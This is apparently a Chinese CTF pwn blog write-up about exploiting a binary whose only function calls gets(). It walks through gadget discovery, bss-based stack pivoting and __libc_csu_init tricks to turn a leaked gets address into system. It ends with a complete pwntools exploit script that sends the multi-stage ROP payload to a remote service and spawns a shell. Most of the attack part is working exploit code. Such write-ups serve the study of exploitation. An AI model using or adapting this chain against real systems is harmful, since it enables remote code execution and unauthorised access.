如果程序只有一个 gets()

Checksec

checksec:

[*] '/home/assassinq/pwn/r3t/GETS/gets'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Main Function

只有一个 main 函数,就给了一个 gets()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+0h] [rbp-10h]

  gets(&v4, argv, envp);
  return 0;
}

Solution

这道题的思路主要是泄漏出 gets 的真实地址,然后利用给出的 libc 计算出 gets 与 system 之间的 offset 得到 system 的地址,最后读入 sh,执行 system 拿到 shell。

Gadgets

先放上会用到的 gadgets:

g = lambda x: next(elf.search(asm(x)))
pop_rsp_r13_r14_r15_ret = g('pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret')
pop_rbp_ret = g('pop rbp ; ret')
pop_rdi_ret = g('pop rdi ; ret')
pop_r15_ret = g('pop r15 ; ret')
pop_rsi_r15_ret = g('pop rsi ; pop r15 ; ret')
pop_rbp_r14_r15_ret = g('pop rbp ; pop r14 ; pop r15 ; ret')
pop_rbx_rbp_r12_r13_r14_r15_ret = g('pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret')
add_ebx_esi_ret = g('add ebx, esi ; ret')
leave_ret = g('leave ; ret')
call_at_r12 = g('call QWORD PTR [r12+rbx*8]')

Buf

因为操作很多,我们需要通过栈迁移来达到目的,所以使用了很多 bss 段上的空间:

bss = 0x602000
buf1 = bss - 0x100
buf2 = bss - 0x200
buf3 = bss - 0x300
buf4 = bss - 0x400
buf5 = bss - 0x500
buf6 = bss - 0x600
buf7 = bss - 0x700
buf8 = bss - 0x800

Analyse

第一个 rop 将所有的 buf 用 gets 读上来。并且最后通过 leave ; ret 跳到 buf1 上:

rop1 = [
    pop_rdi_ret, buf1, gets_plt, # rop2
    pop_rdi_ret, buf2, gets_plt, # rop4
    pop_rdi_ret, buf3, gets_plt, # rop5
    pop_rdi_ret, buf4, gets_plt, # rop7
    pop_rdi_ret, buf5, gets_plt, # rop9
    pop_rdi_ret, buf6, gets_plt, # rop10
    pop_rdi_ret, buf7, gets_plt, # rop13
    pop_rbp_ret, buf1 - 8, leave_ret
]

第二个 rop 为我们读入 buf1 的内容。先看看这里 gets 的 got 表处的情况:

.got.plt:0000000000601020 off_601020      dq offset gets          ; DATA XREF: _gets↑r
.got.plt:0000000000601020 _got_plt        ends
.got.plt:0000000000601020
.data:0000000000601028 ; ===========================================================================
.data:0000000000601028
.data:0000000000601028 ; Segment type: Pure data
.data:0000000000601028 ; Segment permissions: Read/Write
.data:0000000000601028 ; Segment alignment 'qword' can not be represented in assembly
.data:0000000000601028 _data           segment para public 'DATA' use64
.data:0000000000601028                 assume cs:_data
.data:0000000000601028                 ;org 601028h
.data:0000000000601028                 public __data_start ; weak
.data:0000000000601028 __data_start    db    0                 ; Alternative name is '__data_start'
.data:0000000000601028                                         ; data_start
.data:0000000000601029                 db    0
.data:000000000060102A                 db    0

got 表在这里是只读的,但在后面的 data 段是可写的。我们可以先在 gets 地址后面 24byte 的地方填上 leave ; ret,然后为跳转到 buf2 提前设好 rbp。最后利用 pop_rsp_r13_r14_r15_ret 把 gets 的地址放到 r13 上。前面可以。同时接上第三个 rop 送上去的 leave_ret

rop2 = [ # buf1
    pop_rdi_ret, gets_got + 24, gets_plt, # rop3
    pop_rbp_ret, buf2 - 8,
    pop_rsp_r13_r14_r15_ret, gets_got
]

rop3 = [ # gets_got + 24
    leave_ret
]

然后接下来需要用到 __libc_csu_init() 这个函数:

.text:0000000000400550 ; void _libc_csu_init(void)
.text:0000000000400550                 public __libc_csu_init
.text:0000000000400550 __libc_csu_init proc near               ; DATA XREF: _start+16↑o
.text:0000000000400550 ; __unwind {
.text:0000000000400550                 push    r15
.text:0000000000400552                 push    r14
.text:0000000000400554                 mov     r15d, edi
.text:0000000000400557                 push    r13
.text:0000000000400559                 push    r12
.text:000000000040055B                 lea     r12, __frame_dummy_init_array_entry
.text:0000000000400562                 push    rbp
.text:0000000000400563                 lea     rbp, __do_global_dtors_aux_fini_array_entry
.text:000000000040056A                 push    rbx
.text:000000000040056B                 mov     r14, rsi
.text:000000000040056E                 mov     r13, rdx
.text:0000000000400571                 sub     rbp, r12
.text:0000000000400574                 sub     rsp, 8
.text:0000000000400578                 sar     rbp, 3
.text:000000000040057C                 call    _init_proc
.text:0000000000400581                 test    rbp, rbp
.text:0000000000400584                 jz      short loc_4005A6
.text:0000000000400586                 xor     ebx, ebx
.text:0000000000400588                 nop     dword ptr [rax+rax+00000000h]
.text:0000000000400590
.text:0000000000400590 loc_400590:                             ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400590                 mov     rdx, r13
.text:0000000000400593                 mov     rsi, r14
.text:0000000000400596                 mov     edi, r15d
.text:0000000000400599                 call    qword ptr [r12+rbx*8]
.text:000000000040059D                 add     rbx, 1
.text:00000000004005A1                 cmp     rbx, rbp
.text:00000000004005A4                 jnz     short loc_400590
.text:00000000004005A6
.text:00000000004005A6 loc_4005A6:                             ; CODE XREF: __libc_csu_init+34↑j
.text:00000000004005A6                 add     rsp, 8
.text:00000000004005AA                 pop     rbx
.text:00000000004005AB                 pop     rbp
.text:00000000004005AC                 pop     r12
.text:00000000004005AE                 pop     r13
.text:00000000004005B0                 pop     r14
.text:00000000004005B2                 pop     r15
.text:00000000004005B4                 retn
.text:00000000004005B4 ; } // starts at 400550
.text:00000000004005B4 __libc_csu_init endp

实际上 __libc_csu_init() 没有做任何事情,无论我们调用多少次都是一样的。我们先通过第四个 rop 把它写到 buf2 上,后面再解释需要做什么:

rop4 = [ # buf2
    libc_csu_init,
    pop_rbp_ret, buf3 - 8, leave_ret
]

第五个 rop 往 buf2-24 和 buf2+32 的地方写东西,之后再跳上去。因为之前 gets 的地址已经被 pop 到了 r13 上,然后走一次 __libc_csu_init() 会 push 到栈上,这个时候也就是 buf2,之后接上一个 pop rbx 就能给 rbx。然后为了得到 system 的地址,我们需要用 add_ebx_esi_ret 把两者加起来。加完之后再把 ebx 放回栈上,也就是 buf2:

rop5 = [ # buf3
    pop_rdi_ret, buf2 - 24, gets_plt, # rop6_1
    pop_rdi_ret, buf2 + 32, gets_plt, # rop6_2
    pop_rbp_ret, buf2 - 24 - 8, leave_ret
]

rop6_1 = [ # buf2 - 24
    pop_rbx_rbp_r12_r13_r14_r15_ret
]

rop6_2 = [ # buf2 + 32
    pop_rsi_r15_ret, offset, 8,
    add_ebx_esi_ret,
    libc_csu_init,
    pop_rbp_ret, buf4 - 8, leave_ret
]

加完之后发现只留了地址的低四位,高四位被弄丢了。我们需要做的就是把所有的 offset 加上 4,这样同样的做法我们就能拿到高四位的值。因为栈其实是不需要对齐的,所以这样做是可以的。这样的话之后的操作大部分细节和之前是一样的,后面就不用加 offset 了。然后需要计算一下之前的低四位在栈上的什么地方,计算好位置之后读上去:

rop7 = [ # buf4
    pop_rdi_ret, gets_got + 28, gets_plt, # rop8
    pop_rbp_ret, buf5 - 8,
    pop_rsp_r13_r14_r15_ret, gets_got + 4
]

rop8 = [ # gets_got + 28
    leave_ret
]

rop9 = [ # buf5
    libc_csu_init,
    pop_rbp_ret, buf6 - 8, leave_ret
]

rop10 = [ # buf6
    pop_rdi_ret, buf5 - 24, gets_plt, # rop11_1
    pop_rdi_ret, buf5 + 32, gets_plt, # rop11_2
    pop_rbp_ret, buf5 - 24 - 8, leave_ret
]

rop11_1 = [ # buf5 - 24
    pop_rbx_rbp_r12_r13_r14_r15_ret
]

rop11_2 = [ # buf5 + 32
    pop_rdi_ret, buf2 + 68, gets_plt, # rop12
    pop_rbp_ret, buf2 + 68 - 8, leave_ret
]

rop12 = [ # buf2 + 164
    libc_csu_init,
    pop_rbp_ret, buf7 - 8, leave_ret
]

最后 system 的地址已经在栈上了,读一下参数,利用__libc_csu_init()调用一下就行了:

rop13 = [
    pop_rdi_ret, buf8, gets_plt, # shell command
    pop_rdi_ret, buf8,
    pop_rbx_rbp_r12_r13_r14_r15_ret, 0, 0, buf2 + 24, 0, 0, 0,
    call_at_r12
]

Exploit

#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
local = 0
if local:
    p = remote('127.0.0.1', 4000)
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    p = remote('10.21.13.69', 10010)
    libc = ELF('libc.so.6')
elf = ELF('./gets')
g = lambda x: next(elf.search(asm(x)))
system_offset = libc.symbols['system']
gets_offset = libc.symbols['gets']
offset = system_offset - gets_offset
if offset < 0:
    offset &= 0xffffffff
gets_plt = elf.plt['gets']
gets_got = elf.got['gets']
libc_csu_init = elf.symbols['__libc_csu_init']
pop_rsp_r13_r14_r15_ret = g('pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret')
pop_rbp_ret = g('pop rbp ; ret')
pop_rdi_ret = g('pop rdi ; ret')
pop_r15_ret = g('pop r15 ; ret')
pop_rsi_r15_ret = g('pop rsi ; pop r15 ; ret')
pop_rbp_r14_r15_ret = g('pop rbp ; pop r14 ; pop r15 ; ret')
pop_rbx_rbp_r12_r13_r14_r15_ret = g('pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret')
add_ebx_esi_ret = g('add ebx, esi ; ret')
leave_ret = g('leave ; ret')
call_at_r12 = g('call QWORD PTR [r12+rbx*8]')
# gdb.attach(p)

bss = 0x602000
buf1 = bss - 0x100
buf2 = bss - 0x200
buf3 = bss - 0x300
buf4 = bss - 0x400
buf5 = bss - 0x500
buf6 = bss - 0x600
buf7 = bss - 0x700
buf8 = bss - 0x800

rop1 = [
    pop_rdi_ret, buf1, gets_plt, # rop2
    pop_rdi_ret, buf2, gets_plt, # rop4
    pop_rdi_ret, buf3, gets_plt, # rop5
    pop_rdi_ret, buf4, gets_plt, # rop7
    pop_rdi_ret, buf5, gets_plt, # rop9
    pop_rdi_ret, buf6, gets_plt, # rop10
    pop_rdi_ret, buf7, gets_plt, # rop13
    pop_rbp_ret, buf1 - 8, leave_ret
]

rop2 = [ # buf1
    pop_rdi_ret, gets_got + 24, gets_plt, # rop3
    pop_rbp_ret, buf2 - 8,
    pop_rsp_r13_r14_r15_ret, gets_got
]

rop3 = [ # gets_got + 24
    leave_ret
]

rop4 = [ # buf2
    libc_csu_init,
    pop_rbp_ret, buf3 - 8, leave_ret
]

rop5 = [ # buf3
    pop_rdi_ret, buf2 - 24, gets_plt, # rop6_1
    pop_rdi_ret, buf2 + 32, gets_plt, # rop6_2
    pop_rbp_ret, buf2 - 24 - 8, leave_ret
]

rop6_1 = [ # buf2 - 24
    pop_rbx_rbp_r12_r13_r14_r15_ret
]

rop6_2 = [ # buf2 + 32
    pop_rsi_r15_ret, offset, 8,
    add_ebx_esi_ret,
#    0xdeadbeef,
    libc_csu_init,
    pop_rbp_ret, buf4 - 8, leave_ret
]

rop7 = [ # buf4
    pop_rdi_ret, gets_got + 28, gets_plt, # rop8
    pop_rbp_ret, buf5 - 8,
    pop_rsp_r13_r14_r15_ret, gets_got + 4
]

rop8 = [ # gets_got + 28
    leave_ret
]

rop9 = [ # buf5
    libc_csu_init,
    pop_rbp_ret, buf6 - 8, leave_ret
]

rop10 = [ # buf6
    pop_rdi_ret, buf5 - 24, gets_plt, # rop11_1
    pop_rdi_ret, buf5 + 32, gets_plt, # rop11_2
    pop_rbp_ret, buf5 - 24 - 8, leave_ret
]

rop11_1 = [ # buf5 - 24
    pop_rbx_rbp_r12_r13_r14_r15_ret
]

rop11_2 = [ # buf5 + 32
    pop_rdi_ret, buf2 + 68, gets_plt, # rop12
    pop_rbp_ret, buf2 + 68 - 8, leave_ret
]

rop12 = [ # buf2 + 164
    libc_csu_init,
    pop_rbp_ret, buf7 - 8, leave_ret
]

rop13 = [
    pop_rdi_ret, buf8, gets_plt, # shell command
    pop_rdi_ret, buf8,
    pop_rbx_rbp_r12_r13_r14_r15_ret, 0, 0, buf2 + 24, 0, 0, 0,
    call_at_r12
]

payload = (
    'A' * 24 +
    ''.join(map(p64, rop1)) + '\n' +
    ''.join(map(p64, rop2)) + '\n' +
    ''.join(map(p64, rop4)) + '\n' +
    ''.join(map(p64, rop5)) + '\n' +
    ''.join(map(p64, rop7)) + '\n' +
    ''.join(map(p64, rop9)) + '\n' +
    ''.join(map(p64, rop10)) + '\n' +
    ''.join(map(p64, rop13)) + '\n' +
    ''.join(map(p64, rop3))[:-1] + '\n' +
    ''.join(map(p64, rop6_1))[:-1] + '\n' +
    ''.join(map(p64, rop6_2)) + '\n' +
    ''.join(map(p64, rop8)) + '\n' +
    ''.join(map(p64, rop11_1))[:-1] + '\n' +
    ''.join(map(p64, rop11_2)) + '\n' +
    ''.join(map(p64, rop12)) + '\n' +
    'sh\n'
)
p.send(payload)
p.interactive()

ctf pwn

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

Buffer Overflow with gcc>=4.9
解决VMware下Ubuntu的一些问题